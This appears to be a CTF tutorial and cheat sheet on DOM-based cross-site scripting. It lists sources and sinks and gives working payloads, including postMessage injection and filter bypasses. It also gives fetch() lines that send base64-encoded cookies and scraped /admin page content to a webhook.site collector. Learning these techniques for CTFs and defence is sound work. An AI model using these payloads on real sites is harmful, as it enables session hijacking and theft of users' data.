DOM-Based XSS
Understand, identify, and exploit DOM-based Cross-Site Scripting in CTF web challenges.
DOM-Based XSS
DOM-based XSS happens entirely in the browser when client-side JavaScript reads attacker-controlled data (a source) and writes it to a dangerous sink without proper sanitization or encoding. The server may never see the malicious payload, so DOM XSS often evades server-side scanners.
Quick summary
- Sources:
location.hash,location.search,location.href,document.URL,document.referrer,window.name,postMessage. - Sinks:
innerHTML,outerHTML,document.write,eval,setTimeout/setIntervalwith string args,element.src/hrefwhen set unsafely. - Detection: search JS for common source/sink patterns and test with fragment (
#) payloads and postMessage probes.
Source vs sink (common list)
| Sources (attacker-controlled) | Sinks (dangerous write operations) |
|---|---|
location.hash, location.search | innerHTML, outerHTML |
location.href, document.URL | document.write() |
document.referrer, window.name | eval(), new Function() |
postMessage data | setTimeout(string), setInterval(string) |
Detection techniques
-
Static inspection: search code for sink functions and trace the source of their inputs.
-
Runtime probing:
- Hash tests:
http://target/page#<img src=x onerror=alert(1)> - Search tests:
?q=<svg onload=alert(1)> - postMessage: if a page listens to messages, craft a
postMessagefrom a controlled origin.
- Tools: Burp's DOM Invader / Chrome DevTools to locate and test sources/sinks.
Practical payloads
Hash-based DOM XSS (fragment payload):
http://target/page#<img src=x onerror=alert(1)>
http://target/page#<svg onload=alert(document.cookie)>postMessage injection (from attacker-controlled page):
let w = window.open('https://victim/page');
setTimeout(()=> w.postMessage('<img src=x onerror=alert(document.cookie)>','*'),500);eval/setTimeout sinks (string execution):
http://target/#alert(1)
// or encoded: %61%6c%65%72%74%281%29Bypass techniques when <script> is blocked:
- Event handlers:
<img src=x onerror=alert(1)>,<details open ontoggle=alert(1)>. - SVG vectors:
<svg onload=...>or embedded<script>inside SVG uploads. - Encoded payloads: HTML entities, UTF-7, double-encoding.
CTF Quick Start
-
- Identify sources visible to admin/bot (
#,?,postMessage).
- Identify sources visible to admin/bot (
-
- Confirm with a low-noise marker:
#<b>ctf-test</b>or?q=<i>ctf</i>.
- Confirm with a low-noise marker:
-
- Test minimal vectors: hash
#<img src=x onerror=alert(1)>, postMessage from a controlled window, or smalleval()probe.
- Test minimal vectors: hash
-
- Use webhooks (webhook.site, Burp Collaborator) to capture exfiltrated data.
-
- If bot-driven, add a small delay (
setTimeout) to improve reliability.
- If bot-driven, add a small delay (
Payload quick-refs (CTF)
- Hash image:
#<img src=x onerror=fetch(\'https://webhook.site/ID?c=\'+btoa(document.cookie))> - postMessage sender snippet:
let w = window.open('https://victim/page');
setTimeout(()=> w.postMessage('<img src=x onerror=fetch("https://webhook.site/ID?c="+btoa(document.cookie))">','*'),500);- Eval probe:
#alert(1)(URL-encoded if needed)
Prototype pollution & sink hijacking (advanced)
When an application copies untrusted objects into prototypes or merges JSON from untrusted sources, prototype pollution can change application behavior and introduce new sinks. Test for __proto__, constructor.prototype, and unexpected object merges that reach sinks.
Example test:
// attempt to set a property that influences sink behavior
obj = JSON.parse('{"__proto__":{"isAdmin":true}}');If successful, polluted properties may trigger unsafe client-side flows that lead to XSS or privilege escalation.
Exploitation patterns and post-exploitation
- Cookie exfiltration (note: cannot read
HttpOnlycookies):
<img src=x onerror="fetch('https://webhook.site/ID?c='+btoa(document.cookie))">- DOM scraping and action automation:
<script>
fetch('/admin',{credentials:'include'}).then(r=>r.text()).then(t=>fetch('https://webhook.site/ID?d='+btoa(t)));
</script>Last updated on